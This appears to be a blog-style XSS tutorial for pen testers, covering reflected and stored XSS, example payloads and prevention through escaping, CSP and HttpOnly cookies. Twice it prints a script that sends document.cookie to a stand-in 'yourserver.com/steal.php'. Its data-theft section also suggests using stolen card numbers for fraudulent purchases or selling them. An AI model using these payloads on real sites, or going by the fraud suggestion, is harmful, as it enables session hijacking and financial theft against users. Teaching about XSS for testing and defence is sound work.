As a red team member or pen tester, it is crucial to understand how web applications can be vulnerable to attacks. One common type of vulnerability is Cross-Site Scripting (XSS), which occurs when an attacker injects malicious code into a website, which can then be executed in a user’s browser. In this article, we will explore what XSS is, how it works, and how to exploit it with examples.
What is XSS?
XSS occurs when a web application displays user input on a page without properly sanitizing or validating it. This allows an attacker to inject malicious code, such as JavaScript, into the page, which will be executed in the user’s browser. XSS attacks can be broadly classified into two categories: reflective and stored.
Reflective XSS attacks occur when the user input is immediately reflected to the user. For example, a search box that returns results based on the user’s input. An attacker can craft a malicious search query that injects JavaScript code into the page. When the user views the search results, the malicious code will be executed in their browser.
Stored XSS attacks occur when the user input is stored on the server and later displayed to other users. For example, a forum post that contains user comments. An attacker can inject malicious code into their comment, which will be stored on the server. When other users view the forum post, the malicious code will be executed in their browser.
How to exploit XSS
XSS can be exploited in several ways, depending on the specific vulnerability and the attacker’s goals. As a red team member or pen tester, your goal is to identify and exploit XSS vulnerabilities to demonstrate an attack’s potential impact. The following are some of the most common ways XSS can be exploited.
Stealing Cookies
One of the most common goals of an XSS attacker is to steal the victim’s authentication cookies. These are small pieces of data stored in the user’s browser and used to identify the user to the website. If an attacker can steal the victim’s cookies, they can impersonate them and perform actions on their behalf.
For example, imagine a website with a login form vulnerable to XSS. As a red team member or pen tester, you could inject a script that steals the victim’s cookies and sends them to your server. When the victim logs in, their cookies will be sent to you, allowing you to impersonate them and perform actions on their behalf.
Defacing Websites
Another common goal of an XSS attacker is to deface websites. This means that the attacker modifies the website’s content in a way that is visible to all users who visit it. This can range from simple graffiti to more sophisticated attacks, such as redirecting users to a different website.
As a red team member or pen tester, you can use XSS to demonstrate the impact of a successful attack. For example, imagine a website with a search box vulnerable to XSS. You could inject a script that modifies the page’s content to display a message that says, “Hacked by XYZ.” When other users visit the page, they will see the defaced content.
Stealing Sensitive Data
XSS can also be used to steal sensitive data from a website. This includes credit card numbers, passwords, and personal information. If an attacker can inject a script that sends this data to their server, they can use it for nefarious purposes.
As a red team member or pen tester, you can use XSS to demonstrate the potential impact of a data breach. For example, imagine a website with a form allowing users to enter their credit card information. You could inject a script that steals this information and sends it to your server. You could then use this information to make fraudulent purchases or sell it on the dark web.
Examples of XSS
Now that we have a general understanding of XSS and how it can be exploited, let’s examine some examples of how XSS can be used in real-world scenarios.
Example 1: Reflected XSS
Imagine that you are performing a pen test on a website that has a search box. You notice that the search box is vulnerable to XSS, so you decide to see if you can exploit it. You enter the following search query:
"><script>alert('XSS')</script";
When you click the search button on the website, it returns the results of your injected script. When the victim clicks on the search result, the script is executed in their browser, displaying an alert that says “XSS.” This demonstrates how a reflective XSS attack can execute arbitrary code in a victim’s browser.
Example 2: Stored XSS
Imagine that you are performing a pen test on a forum that allows users to post comments. You notice that the forum is vulnerable to stored XSS, so you decide to see if you can exploit it. You create a new forum post with the following comment:
<script>
var cookies = document.cookie;
fetch("http://yourserver.com/steal.php?cookies=" + cookies);
</script>
When the victim views the forum post, the script will be executed in their browser, sending their authentication cookies to your server. You can then use these cookies to impersonate the victim and perform actions on their behalf.
Example 3: Cookie Stealing
Imagine that you are performing a pen test on a website that has a login form. You notice that the login form is vulnerable to XSS, so you decide to see if you can steal the victim’s cookies. You enter the following script into the username field:
<script>
var cookies = document.cookie;
fetch("http://yourserver.com/steal.php?cookies=" + cookies);
</script>
When the victim logs in, their authentication cookies will be sent to your server. You can then use these cookies to impersonate the victim and perform actions on their behalf.
Preventing XSS attacks on your web applications
Preventing XSS attacks on your web applications is crucial to ensuring the security of your user’s data and protecting your organization’s reputation. The following are some of the best practices for preventing XSS attacks on your web applications.
Input validation and sanitization
The first and most crucial step to prevent XSS attacks is to validate and sanitize all user input used in the application. This includes input from forms, query strings, and cookies. Input validation ensures that the data received is in the expected format, while sanitization ensures that the data is safe to use and does not contain malicious code. Examples of sanitization techniques include removing HTML tags, encoding special characters, and filtering out script tags.
For example, if your application has a search box that accepts user input, you can validate and sanitize the input as follows:
if(isset($_GET['q'])) {
$q = htmlspecialchars($_GET['q']);
// ... sanitize the input
// ... use the sanitized input in your code
}
Content Security Policy (CSP)
Content Security Policy (CSP) is a security feature that allows web developers to specify which resources can be loaded on their web pages. By using CSP, you can prevent the execution of scripts that are not explicitly allowed, thereby preventing XSS attacks.
For example, you can add the following CSP header to your web page to prevent the execution of any inline scripts:
Content-Security-Policy: default-src 'self';
HttpOnly and Secure cookies
HttpOnly and Secure cookies are additional security features that can be used to prevent XSS attacks. HttpOnly cookies cannot be accessed by JavaScript, preventing attackers from stealing authentication cookies using XSS. Secure cookies can only be transmitted over HTTPS, ensuring attackers do not intercept them.
For example, you can set HttpOnly and Secure cookies as follows:
setcookie('session_id', $session_id, time() + 3600, '/', '', true, true);
Conclusion
Cross-site scripting (XSS) is a common vulnerability found in web applications. It occurs when an attacker can inject malicious code into a website, which can then be executed in the browser of a user who visits the site. As a red team member or pen tester, it is vital to understand how XSS works and how it can be exploited to identify and demonstrate the potential impact of an attack. By following best practices for secure coding and testing, developers can minimize the risk of XSS vulnerabilities in their web applications.